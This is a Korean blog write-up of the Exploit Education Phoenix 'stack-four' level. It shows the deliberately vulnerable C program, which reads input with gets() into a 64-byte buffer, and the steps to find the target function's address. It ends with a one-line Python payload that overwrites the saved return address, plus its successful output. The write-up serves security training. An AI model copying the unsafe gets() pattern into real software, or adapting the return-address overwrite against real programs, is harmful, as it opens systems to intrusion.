[Phoenix] Stack four

2022. 9. 27. 07:29·Wargame/Exploit Education
728x90
반응형

1. intro

2. code 및 분석

2.1.  C code

/*
 * phoenix/stack-four, by https://exploit.education
 *
 * The aim is to execute the function complete_level by modifying the
 * saved return address, and pointing it to the complete_level() function.
 *
 * Why were the apple and orange all alone? Because the bananna split.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
  printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
  exit(0);
}

void start_level() {
  char buffer[64];
  void *ret;

  gets(buffer);

  ret = __builtin_return_address(0);
  printf("and will be returning to %p\n", ret);
}

int main(int argc, char **argv) {
  printf("%s\n", BANNER);
  start_level();
}

 

2.2. 분석

main 함수에서 start_level 함수를 call하고, buffer에 값을 받아들인 뒤 이를 출력하고 종료한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

gets. 크기 체크 안함. 그래서 start_level ret address 변조 가능.

 

3.2. 공격 준비

마찬가지로 complete_level의 주소 확인.

 

user@phoenix-amd64:/opt/phoenix/amd64$ objdump -d ./stack-four | grep complete_level
000000000040061d <complete_level>:

start_level의 buffer 변수로부터 ret address 위치 확인

...
   0x000000000040063d <+8>:     lea    -0x50(%rbp),%rax
   0x0000000000400641 <+12>:    mov    %rax,%rdi
   0x0000000000400644 <+15>:    callq  0x400470 <gets@plt>
...

 

4. exploit

user@phoenix-amd64:/opt/phoenix/amd64$ (python -c 'print "A"*0x58+"\x1d\x06\x40\x00\x00\x00\x00\x00"') | ./stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Exploit Education' 카테고리의 다른 글

[Phoenix] Stack six  (0) 2022.09.27
[Phoenix] Stack five  (0) 2022.09.27
[Phoenix] Stack three  (0) 2022.09.27
[phoenix] Stack Two  (0) 2022.09.26
[Phoenix] Stack One  (0) 2022.09.26
'Wargame/Exploit Education' 카테고리의 다른 글
  • [Phoenix] Stack six
  • [Phoenix] Stack five
  • [Phoenix] Stack three
  • [phoenix] Stack Two
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    rop
    x64
    _IO_FILE
    la ctf
    CANARY
    FSB
    dreamhack
    root
    Format String Bug
    root-me
    lob
    x86
    phoenix
    cryptohack
    BOF
    Buffer Overflow
    pwntools
    ROOT ME
    exploit education
    docker
    RTL
    heap
    64bit
    32bit
    tcache
    vtable
    pwnable.kr
    libc
    hackerschool
    Me
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[Phoenix] Stack four
상단으로

티스토리툴바